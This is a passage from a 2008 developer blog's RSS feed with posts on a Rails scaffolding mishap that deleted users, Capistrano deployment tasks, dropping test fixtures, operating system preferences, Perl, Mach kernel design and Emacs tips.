some crufty scaffolding and default behaviours.&lt;/p&gt;&lt;p&gt;Backtrack a few days and imagine this scenario: I was working on an
open ticket about permissions.  I needed a user with a specific role
to test with, so I looked up that user.  I didn't know the user's
password, so in my impatience, I go to my awesome bar and type in
'/user/edit' by hand.  An innoculous page renders, and I see the
change password fields on the bottom of the page.  I type in a bogus
password, and hit enter.&lt;/p&gt;&lt;p&gt;All that seemed straight forward enough until I realized that the
default form action under the change password section was "Delete
User".  Not even this raised any warning flags in my mind.  It wasn't
until a few days later when all kinds of crazy @#$! related to missing
users started happening that I took notice.  Can you guess what
happened?&lt;/p&gt;&lt;p&gt;The first thing that went wrong was me hijacking the URL by hand
instead of going through what the UI meant for me to do.  The app does
all it's edits and changes through users/show instead of users/edit.
What users/edit renders instead is a well hidden scaffolded view from
many moons ago.  This form calls users/destroy.  But wait!  The riddle
is far from over.  Not only did the user I was working on get nuked,
but several other users also mysteriously disappeared.  This came
about as a result of the User model mixing in acts_as_tree.  Acts as
tree apparently has an undocumented assumption that it should destroy
it's children when the root is destroyed.  At least I wasn't the
&lt;a href="http://dev.rubyonrails.org/ticket/1924"&gt;first person to be burned&lt;/a&gt; by
this.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/9YMEw5Hnkzw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 15 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/9YMEw5Hnkzw/dangerous-scaffolding</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/15/dangerous-scaffolding</feedburner:origLink></item>
    <item>
      <title>Capify my App</title>
      <description>&lt;p&gt;After a complete Saturday of vegging out, I decided to accomplish
something today.  My initial target was to pull Craigslist rental
listings for my &lt;a href="http://housing.whatcodecraves.com/"&gt;housing app&lt;/a&gt;, but
that led to me learning more about plugins, which somehow led me to
reading about Capistrano.  Yak shave, anyone?&lt;/p&gt;&lt;p&gt;I blazed through the book &lt;a href="http://www.amazon.com/gp/product/0978739205?ie=UTF8&amp;amp;tag=what0d-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0978739205"&gt;Deploying
Rails Applications: A Step-by-Step Guide (Facets of Ruby)&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=0978739205" width="1" height="1" border="0" alt="" style="border:none !important;
margin:0px !important;"&gt;.  I skimmed through the first 4 chapters
because they didn't present anything new to me.  I spent much more
time reading through chapter 5: the what, why, and how of Capistrano.
After my first reading, I decided to test it out with my Dreamhost
setup of housing app to try my luck.&lt;/p&gt;&lt;p&gt;One thing that threw me off initially was roles.  Roles are simply
different servers that are involed in the deployment.  Each Capistrano
recipe is run for all roles by default.  For example, the deploy:setup
recipe creates the initial directory structure on the server for
checking out the Rails application.  Capistrano tried to run this
recipe on both my :db and :app roles.  I couldn't find a way of adding
an exception to what roles an &lt;em&gt;existing&lt;/em&gt; recipe is run on, so I
removed the :db role entirely.  I didn't have a use for a :db role
anyways, but I could see that as a problem in the future.&lt;/p&gt;&lt;p&gt;Next, I wrote a small task to keep database.yml the same between
deployments:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;task :fix\_config, :except =&amp;gt; { :no\_release =&amp;gt; true } do
  run "ln -s #{shared_path}/config/database.yml #{release\_path}/config/database.yml"
end

after 'deploy:symlink', 'fix_config'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I also overrode the deploy:restart task to fit with Phusion
Passenger.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;namespace(:deploy) do
  desc "Restart Passenger.  The file is deleted when it restarts"
  task :restart do
    run "touch #{current_path}/tmp/restart.txt"
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After that, it was clear sailing.  The deployments were unacceptably
slow because a checkout of my project is 62MB (darn your edge
rails!). I found the Rails site
&lt;a href="http://manuals.rubyonrails.com/read/chapter/97"&gt;guide&lt;/a&gt; to Capistrano
to be very good.  The same can't be said for the main &lt;a href="http://www.capify.org/"&gt;Capistrano
site&lt;/a&gt;.  The saving grace for that is all the
methods are well commented and straightfoward if you read through the
Capistrano source.&lt;/p&gt;&lt;p&gt;If I had to summarize Capistrano, I'd call it an interpreter for a
Rake-like domain specific language to records and play back commands.
Specifically, it's useful for Rails deployment because it automates
tedious and error prone sequences of commands to deploy a bundle of
code to a web directory, run any scripts or rake tasks, and kick any
servers or services.  As an added bonus, it sets a cute convention for
directory structure and allows you rollback to different deployments.
It's especially easy to pick up if you've written any Rake tasks in
the past.  I can see how Capistrano can be useful outside of Rails
projects as well.  It's simply a great little tool for automating
commands.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/smciEnAoGX4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 13 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/smciEnAoGX4/capify-my-app</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/13/capify-my-app</feedburner:origLink></item>
    <item>
      <title>Fuck Fixtures</title>
      <description>&lt;p&gt;When you first start testing a newly created application, fixtures
might seem very appealing.  They're easy to write, they make sense,
and they quickly create valid or invalid instances for you to test
with.  Unfortunately, fixtures don't scale with a growing project.
They quickly get out of hand, and you'll end up spending more time
fixing your fixtures than your tests and code.  So fuck you fixtures,
and good riddance.&lt;/p&gt;&lt;p&gt;Fixtures are the devil because:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;they're brittle.&lt;/li&gt;
&lt;li&gt;they don't work well with complex association with foreign keys.&lt;/li&gt;
&lt;li&gt;they don't change when your schema and models change.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Rails 2 fixtures are nicer, but it's much of the same.  If you don't
believe me, just keep using them and you'll know what I'm talking
about at some point.&lt;/p&gt;&lt;h2&gt;A Valid Case&lt;/h2&gt;&lt;p&gt;One interesting case my friend came across the other day was using
fixtures for rspec tests.  As described above, I think model fixtures
for testing is both brittle and hard to maintain.  However, he was
running across the case:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;it "should save to the freakin database" do
  @some_model.save.should == true
  debugger
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This test passes with flying colors...  But seeing is believing, and
if you login to the test database, you won't be seeing a saved
record.  This is generally a good thing because once the test is
finished, the transaction is rolled back, and you'll have clean data
independence between tests.  The downside is when you're testing
something like Sphinx that assumes there's stuff in the database to
work with, it won't work.  The above example will pass, and if you
break at the debugger line, @some_model.new_record? will be false.&lt;/p&gt;&lt;h2&gt;So What Now?&lt;/h2&gt;&lt;p&gt;Other than that valid case, most problems should be solvable by
stubbing and mocking.  If not, then refactor your code so that it is!
One particularly delicious piece of syntactic sugar called &lt;a href="http://github.com/thoughtbot/factory_girl/tree/master"&gt;Factory
Girl&lt;/a&gt;.  For a
short description of what it does, check out &lt;a href="http://giantrobots.thoughtbot.com/2008/6/6/waiting-for-a-factory-girl"&gt;this blog
post&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/SJZjnDYGMjM" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 9 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/SJZjnDYGMjM/fuck-fixtures</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/09/fuck-fixtures</feedburner:origLink></item>
    <item>
      <title>Rails Webapp Engineering</title>
      <description>&lt;p&gt;The day after I came back from Australia, I started my new job at
&lt;a href="http://www.coupa.com"&gt;Coupa Software&lt;/a&gt;.  I'm absolutely loving it at
the moment because of the awesome people and the amount of software
I'm learning.  Here's just a few that I've picked up in my first week
that I'd like to jot down.&lt;/p&gt;&lt;h2&gt;Skinny Controllers, Fat Models&lt;/h2&gt;&lt;p&gt;Here's &lt;a href="http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model"&gt;one
article&lt;/a&gt;
about it.  It really &lt;em&gt;really&lt;/em&gt; helps out with testing.&lt;/p&gt;&lt;h2&gt;Association&lt;/h2&gt;&lt;p&gt;&lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/Aggregations/ClassMethods.html#M001262"&gt;composed_of&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;cmd-k clears terminal window&lt;/li&gt;
&lt;li&gt;rake stats&lt;/li&gt;
&lt;li&gt;&lt;p&gt;script/spec for an individual test&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://api.rubyonrails.org/classes/ActionController/Streaming.html"&gt;send_data, send_file&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;render_to_string - returns string, use with send_data&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://www.ruby-doc.org/core/classes/Enumerable.html#M001147"&gt;Enumerable:inject&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;same as Scheme accumulator I used in 61A&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://ruby-pdf.rubyforge.org/pdf-writer/doc/classes/PDF/SimpleTable.html"&gt;PDF::SimpleTable&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;really really easy to use reporter generator.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;request.xhr? - if request is ajax-y&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Getting All Tables&lt;/h2&gt;&lt;pre&gt;&lt;code class="ruby"&gt;ActiveRecord::Base.establish_connection(RAILS_ENV.to_sym)
connection = ActiveRecord::Base.connection

options[:tables] ||= connection.tables.reject { |t| %w(schema_info
sessions).include?(t) }
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/ZjcNr2On8R0" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 4 Jul 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/ZjcNr2On8R0/rails-web-engineering</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/07/04/rails-web-engineering</feedburner:origLink></item>
    <item>
      <title>Platform of Choice</title>
      <description>&lt;p&gt;I kept some rants and notes to myself a while back about what I
thought about some of the operating systems I've used and currently
use.  These notes are more about day-to-day usage from the perspective
of a software developer / power user rather than an objective review
of each platform.  I also update these pages with links to my favorite
apps and tricks I've come across.&lt;/p&gt;&lt;h2&gt;OSX&lt;/h2&gt;&lt;p&gt;It just works.&lt;/p&gt;&lt;p&gt;I think Apple's done a great job of make a day-to-day OS for dummies.  That way,
when I want to feel like a dummy and not obsessively configure every freaking detail,
I can just make some common sense assumptions and start working.&lt;/p&gt;&lt;p&gt;On the other hand, I like how OS X doesn't make you hit a brick wall once you've
done the common simple cases.  If you wanted or
needed to, it's perfectly accepted to open up and Terminal and &lt;a href="http://www.macosxhints.com/index.php?topic=unix"&gt;have at
it&lt;/a&gt;.  Whether it's a simple
shell script to do some text munging, or a regularly recurring task with cron,
Apple has made it easy for *nix geeks to be productive outside the pretty Aqua
UI.&lt;/p&gt;&lt;p&gt;I dislike fanboys.  Everyone new to OS X should check out &lt;a href="http://www.kernelthread.com/mac/osx/" title="What is Mac OS X"&gt;"What is Mac OS
X"&lt;/a&gt; for a serious myth
debunking and very interesting history and details about OS X.&lt;/p&gt;&lt;p&gt;I'm learning to program with Objective-C and Cocoa, so there'll be on
more these later.&lt;/p&gt;&lt;h3&gt;Software&lt;/h3&gt;&lt;p&gt;Since it's so easy to compile applications from *nix systems on OS X, linux
apps are readily available on OSX.  Both &lt;a href="http://finkproject.org/"&gt;Fink&lt;/a&gt;
and &lt;a href="http://www.macports.org/"&gt;MacPorts&lt;/a&gt; are good package management systems.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://amarsagoo.info/namely/"&gt;Namely&lt;/a&gt; Great light freeware launcher of
applications.  Quicksilver is too slow on my ibook.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://www.caminobrowser.org/"&gt;Camino&lt;/a&gt; I used this browser for quite a
while because of some nit-picky details I had with Safari.  It integrates
better with OSX better than FF, but doesn't let you have extensions like FF.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://handbrake.m0k.org/"&gt;HandBrake&lt;/a&gt; Rip dvds to mp4, avi, or ogm.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Terminal comes with OS X by default, but make sure you change the terminal
type to xterm (instead of xterm-color) or else your screen sessions
won't have a backspace.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://www.sshkeychain.org/"&gt;SSHKeychain&lt;/a&gt; a very well done wrapper
around ssh-agent.  It uses apple's Keychain to store your key's
passwords, and will auto lock your private keys on customizable events.
Learn more about ssh in general
&lt;a href="http://www.sshkeychain.org/mirrors/SSH-with-Keys-HOWTO/" title="SSH with Keys HOWTO"&gt;here&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://www.parallels.com/products/desktop/"&gt;Parallels&lt;/a&gt; For $80, you could have
a very sophisticated and usable VM to test against all different types of OS's.
I have not tried VMWare on OS X yet.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Linux&lt;/h2&gt;&lt;p&gt;A fan boy's fantasy or salvation for corporate environments?&lt;/p&gt;&lt;p&gt;Sometime before high school, my dad brought home 2 O'Reilly Linux
books.  He never looked at them again after he wrapped them, but told
me that *nix was important.  This confused me since he was a Windows
admin guy.  The book was on RedHat 5.1 and I installed it on my newly
upgraded Pentium MMX 233/266Mhz machine.  I got really excited about
the philosophy and freeness the books touted.  Watching Gnome start
up, and something non-Windows on my computer was also a treat.
Fortunately for me, those early windowing apps were absolute garbage.
This forced me to the command line and made me learn how to get around
without a GUI.  I remembered my DOS days very fondly, so the
transition wasn't a big deal.  I remember having a heck of a time
getting a floppy to mount in Linux.  I had to ask Sean's dad (a
Berkeley professor!) because it was so frustrating.  Man pages aren't
designed for impaitient noobs.  RedHat was a gateway drug for me.  I
moved on to try several different distributions.  At the time, I tried
them haphazardly and didn't really know what I was looking for.  I
judged each distribution by how hard it was to install and how easy it
was to get software loaded on it.  The RH book totally lied about
RPMs.  I tried Slackware and enjoyed the packaging system much more than
RPMs.  When I volunteered for the ACCRC refurbishing computers for
nonprofits, I installed Suse 7 on those machines.  After I tried
Debian Potato, I was pretty hooked.  Woody was even more amazing
(fresher packages).  Even today, after Ubuntu has redefined ease of
use, I continue to use Debian because I see no reason to switch.&lt;/p&gt;&lt;h3&gt;Applications&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://dev.ojnk.net/"&gt;pork&lt;/a&gt; - the best aim/irc client, ever.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.gnu.org/software/screen/"&gt;gnu screen&lt;/a&gt; - an absolute must if you use ssh.
It's not impressive until you customize your .screenrc
Usually it's nice to have screen running to keep your ssh sessions alive as well.
If you're unlucky and have your screen killed, then you get a message:
&lt;em&gt;Suddenly the Dungeon collapses!! - You die...&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;DOS&lt;/h2&gt;&lt;p&gt;Instant bootup, instant shutdown, excellent throughput, zero hassle, what's not to like?&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;640K ought to be enough for anybody - incorrected attributed to Bill Gates&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;DOS was an easy to love operating system.  Any negative brought up against DOS
can be "scoped out".  I didn't miss multitasking; It had &lt;a href="http://en.wikipedia.org/wiki/The_Lost_Vikings" title="The Lost Vikings"&gt;graphics and
sound&lt;/a&gt;;&lt;/p&gt;&lt;p&gt;I plan to explore more with &lt;a href="http://www.freedos.org/"&gt;FreeDos&lt;/a&gt; when I set up my VMs&lt;/p&gt;&lt;h3&gt;Pros&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;instant bootup/shutdown.  Unrivaled by anything available today.  It's even
faster than my stupid cell phone.&lt;/li&gt;
&lt;li&gt;minimal set of commands.  It was very easy to remember them and use.&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Cons&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;setting up extended memory was hard :(&lt;/li&gt;
&lt;li&gt;I wish the commands and options were more *nix like.&lt;/li&gt;
&lt;li&gt;instant shutdown is a double edged sword&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Windows&lt;/h2&gt;&lt;p&gt;Good to you if you don't know any better.&lt;/p&gt;&lt;p&gt;After I put debian on my desktop computer and bought an ibook for a
laptop. I stopped using windows completely.  The NT family of OS's
were solid, and I never really had any problems with XP.  On the other
hand, I didn't have any problems because I was very careful with what
I did on that computer.  I haven't kept up with Vista at all.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/zuFABAst4gg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 28 Jun 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/zuFABAst4gg/platform-of-choice</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/06/28/platform-of-choice</feedburner:origLink></item>
    <item>
      <title>Fuzz Testing and Being a Dick</title>
      <description>&lt;p&gt;I really couldn't help myself with this one.  Someone gave me the
privledge to play around with their pet project, and the first thing I
thought of was to read the HTML, and write a bash loop to spew all
over it.  We both got a kick out of it.&lt;/p&gt;&lt;p&gt;The end result is both hilarious, and kind of artsy too.  I think it
greatly encapsulates my &lt;em&gt;feelings&lt;/em&gt; towards input validation.&lt;/p&gt;&lt;p&gt;&lt;a href="/images/lifelog.png"&gt;&lt;img src="/images/lifelog-thumb.png" alt="0wn3d lifelog with overlapping random white characters over grey"&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/FT2CPlvO-A0" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 11 Jun 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/FT2CPlvO-A0/fuzz-testing-and-being-a-dick</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/06/11/fuzz-testing-and-being-a-dick</feedburner:origLink></item>
    <item>
      <title>my $perl;</title>
      <description>&lt;p&gt;My first exposure to Perl was near the end of high school when I was
working as a computer assistant at the USDA Forest Service.  I really
can't recall the exact gut feeling Perl gave me at the time, but I
imagine it was a mixture of disgust and delight.  A few years later,
near the end of my undergrad career, Perl came back into my life.
Only instead of a few simplistic scripts, Perl was now the core language
for my job.&lt;/p&gt;&lt;p&gt;At the USDA, my main duty was to troubleshoot and help out with small
computer problems.  This included plenty of mundane tasks like
cataloging and auditing old unused hardware, reimaging peoples'
laptops and helping people with network issues.  Fortunately, my
super-nice boss Keiko let me have fun tasks like tweak and mess around
with the web templates (my first exposure to CSS), and write and
maintain little scripts.  Mike the IT guy also loaned me his &lt;a href="http://www.amazon.com/gp/product/0596101058?ie=UTF8&amp;amp;tag=what0d-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0596101058"&gt;llama&lt;/a&gt;
and &lt;a href="http://www.amazon.com/gp/product/0596000278?ie=UTF8&amp;amp;tag=what0d-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0596000278"&gt;camel&lt;/a&gt;
books.  Both of these were written in a very light-hearted and
cheerful tone.  That bit really stuck with me.&lt;/p&gt;&lt;p&gt;Perl came in the form of a single large file that had the
responsibility of summarizing and publishing journal articles to the
web directories.  I tweaked this file several times, and each time
involved multiple searches to find where I was supposed to make
changes.  The script was laid out like a well organized essay.  It
started with an introduction of all the global variables and
configurations the rest of the script used.  Then it did a lot of
preparation work to do checks and to satisfy assumptions.  This was
followed by paragraph after paragraph of all the tasks that the script
was able to handle.  Finally we concluded with the CGI parameters
parsing and a giant block of conditional logic to dispatch what needed
to be done.  There was comic relief throughout the script in the form
of comments the writer wrote to himself.  I hated reading through it,
but at the same time, I loved the amount of time and effort it saved
everybody.  Instead of a program, I thought of it more as a batch
script of commands with just a sprinkle of glue logic to make it all
come together.  It could've been done cleaner, but there's are
appropriate times for quick and dirty as well.&lt;/p&gt;&lt;p&gt;That script taught me a width breadth of new and fun things.  My first
encounter with regexps was in Perl, an indispensible tool.  I also saw
closures and used them before I even knew what a closure was.  There
were all these mystical constructs obfuscated by the gross overuse of
implicit hidden variables and inconsistent syntax.  It was like a
riddle that you solved backwards by spying on it's behavior.&lt;/p&gt;&lt;p&gt;Fast forward 4 years to the end of my Berkeley education.  I work at
RSSP-IT (previously Rescomp).  What's different about this new
situation?  Well, I know more theoretical computer science, and I also
know more software engineering.  I'd also like to think that I've come
a long ways in recognizing good design, and hope that I can mimic and
even come up with good designs on my own.  Perl hasn't changed since
the last time I saw it.  However, instead of a few simple scripts run
start to finish by a cron job, this incarnation of Perl was a decade
of codebase that powered live critical systems.  Here and there I
still see a few scripts that run from start to finish.  But for the
most part, I see large systems with beefy data backends, reusable
modules of logic, and complex dependencies and hierarchies.
Generations of programmers sweat and sticky keyboards have gone into
the code.  The code could probably be plotted on a timeline to chart
our follies and achievements.  DBIx::Class?  Great idea.  Inline html
for cgi scripts?  That was a hiccup and a bad choice.&lt;/p&gt;&lt;p&gt;All in all though, I continue to feel the same love hate relationship
with Perl.  The funny part is that I love it for it's flexibilty in
usage, but I also hate it for the exact same reason.  I don't think
Perl is my favorite language, but Perl will always have a special
place.  I love the one-liners you can do with Perl.  I love the time
I've spent with the &lt;a href="http://perlmonks.org/"&gt;Perl Monks&lt;/a&gt;.  I love
thinking about automating small tasks and finding cute solutions with
Perl.  This doesn't include writing a large maintainable application
in Perl.  That much discipline and structure just doesn't go well with
this language.  Sometimes you see a problem, and you can just
immediately visualize the stream of gibberish syntax to solve it.  You
know it won't be understood by other people.  You know it won't be
maintainable, and someone will hate you in the future for it.  You
know it's a hack.  But you also can't stop smiling, because you know
you're having a good time with Perl.&lt;/p&gt;&lt;h2&gt;Miscellaneous Stuff&lt;/h2&gt;&lt;p&gt;Switch control statement in Perl 5.1.10&lt;/p&gt;&lt;pre&gt;&lt;code&gt;given ($^O) {
  when (/linux/)      { $file_path = '/mnt/foo' }
  when (/mswin32|nt/) { $file_path = '\\\C:\foo.exe' }
  default { die "FOO was not intended..." }
}
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/2eO4NDnoQGM" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 20 May 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/2eO4NDnoQGM/my-perl</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/05/20/my-perl</feedburner:origLink></item>
    <item>
      <title>Kernel Designs</title>
      <description>&lt;p&gt;I really enjoyed my introductory operating systems class at Berkeley.
The class focused on classic high level OS concepts like process
models, virtual memory, concurrency, and more.  To go along with the
material, teams of 4 formed to implement components in a toy OS called
&lt;a href="http://www.cs.washington.edu/homes/tom/nachos/"&gt;Nachos&lt;/a&gt;.  The purpose
of this was to keep students focused on the concepts rather than wade
through the quagmire that is x86 assembly.&lt;/p&gt;&lt;p&gt;I was very proud of the finished project.  We wrote basic processes
and threads with priorities, memory manangement, system calls, and a C
chat program.  All of this could be booted up and ran on the virtual
'Machine' object that emulated a MIPs architecture machine.&lt;/p&gt;&lt;p&gt;Unfortunately, I did not follow up with more advanced topics after the
class, and while those high level concepts are solid fundamentals, I
sorely wish to see what designs have been tried in practice, along
with their benefits and drawbacks.  Rather than dive blindly into the
source of popular open source kernels from Linux and BSD, I plan to
start by reading some research papers on kernel design.  Hopefully
this will refresh my memory about some key terms while letting me
survey what's available.&lt;/p&gt;&lt;h2&gt;Mach Microkernel&lt;/h2&gt;&lt;p&gt;The Mach kernel is a microkernel developed by CMU in the eighties to
address issues with multiprocessors and networked environments, and
the growing complexity of BSD systems.&lt;/p&gt;&lt;p&gt;BSD began with a very clean and simple abstraction of files to model
major components such as devices and memory.  Using files allowed for
very natural manipulation of these resources with pipes and simple
utilities.  Unfortunately, this abstraction did not fit later desired
features.  This lead to adding orthogonal abstractions for different
tasks.  Mach tries to bring back a clean uniform interface with a
objected-oriented abstraction.  The 4 basic abstractions are:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;task - execution environment.  Think of this as a basic container
for everything needed to run a program.  Things like virtual memory
address space, file descriptors, threads, capabilities and other
resources.  Example messages: fork, allocate (memory)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;thread - basic unit of computation.  Similar to threads in processes
for Unix.  Example messages: destroy, suspend, resume.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;port - communication channel.  A way to reference other tasks and
threads.  An object sends a 'message' to another object through a
port on the receiving object.  Messages are queued up in ports.
Think classic Smalltalk and Objective-C style message passing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;message - actions and data between tasks and threads.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;The emphasis on separating tasks and threads seems like a big idea of
the paper.  I originally thought that Unix had multiple threads per
process, but from the paper, it sounds like at that time Unix used
very expensive forks and hacks in order to achieve concurrency.  A
great example they used for supporting the task/thread abstraction is
machines with &lt;em&gt;N&lt;/em&gt; processors.  Instead of creating &lt;em&gt;N&lt;/em&gt; heavy weight
processes with 1 thread each, Mach would create 1 heavy weight task to
describe what's needed to run, and &lt;em&gt;N&lt;/em&gt; relatively lightweight threads
to take advantage of the concurrency.&lt;/p&gt;&lt;h2&gt;Virtual Memory&lt;/h2&gt;&lt;p&gt;The abstraction for virtual memory allows Mach to be machine
independent.  Each task holds it's own 'address map' of what memory it
owns.  This is the same as the basic concept I learned in class.  The
maps map from address to either virtual memory (VM) objects, or to
'shared maps'.  The 'shared maps' are a way for tasks to share memory.
VM objects are either pages that have already been fetched, or
instructions of where to fetch the page if it hasn't been fetched.
Pages themselves have attributes that specify their current status and
properties.&lt;/p&gt;&lt;h2&gt;Interprocess Communication&lt;/h2&gt;&lt;p&gt;BSD sockets are simply streams of bytes left up to the application to
interpret.  Mach's port/message abstraction provides uniform
interprocess communication.  There is no difference between two
processes on the same host talking, verus two processes on different
network hosts talking.  On top of that, the port/message mechanism
lets you add meaning and stricter checking on the data that is passed
around.  Capabilites of who can send and receive what can also be
enforced.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/44Qtf2I05oQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 3 May 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/44Qtf2I05oQ/kernel-designs</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/05/03/kernel-designs</feedburner:origLink></item>
    <item>
      <title>Emacs Tips</title>
      <description>&lt;p&gt;Earlier, I wrote a quick into of how to &lt;a href="/articles/2008/02/14/customizing_emacs"&gt;customize your
emacs&lt;/a&gt;, but then I realized
that I had no running list of cool emacs tricks.  This article sets
out to remedy that with a list of my favorite commands.  It's by no
means complete, so I'll keep adding on to when when I learn more
stuff.  The &lt;a href="http://www.amazon.com/gp/product/1882114868?ie=UTF8&amp;amp;tag=what0d-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=1882114868"&gt;Gnu
Emacs Manual&lt;/a&gt; is a good reference to flip through from time to time
to learn new tricks.&lt;/p&gt;&lt;h2&gt;Getting Help&lt;/h2&gt;&lt;p&gt;A good one to start with that I admit I don't use as much as I should
is 'M-x help'.  This presents a menu of help sections available.  I
recommend sticking with 'a' for apropos and guessing what you're
interested in.&lt;/p&gt;&lt;h2&gt;Identing&lt;/h2&gt;&lt;p&gt;The trick that never grows old is to re-indent a region.  The command
to do it is 'C-M |', but it's really inconsistent and hard to type all
three of those at once.  Fortunately, 'ESC' is a stick meta, so I
generally do 'ESC' [let go] 'C-|' (the pipe character).  This is great
for when you just paste from another buffer with different indents,
because the most recent paste is the selected region that gets
reindented.&lt;/p&gt;&lt;h2&gt;Find and Replace&lt;/h2&gt;&lt;p&gt;The find and replace can be started with 'M-%'.  You type the string
to find, RET, then the string to replace.  Emacs will highlight each
occurance and prompt you for each replacement.  Space to skip, 'y' to
replace and go to the next replacement, '.' to replace and stop, '!'
to replace all remaining.&lt;/p&gt;&lt;p&gt;The same can be done with regular expression find and replaces with
'M-x query-replace-regexp'.  Remember that to create a group in Emacs
regex, you have you escape your parenthesis.  So to do the Perl
equivalent of s/foo (bar)/\1/, you would do 'M-x
query-replace-regexp', 'foo (bar)', '\1'.&lt;/p&gt;&lt;h2&gt;Diffs and Patches&lt;/h2&gt;&lt;p&gt;Sick and tired of straining your eyes and hands to applying those ever
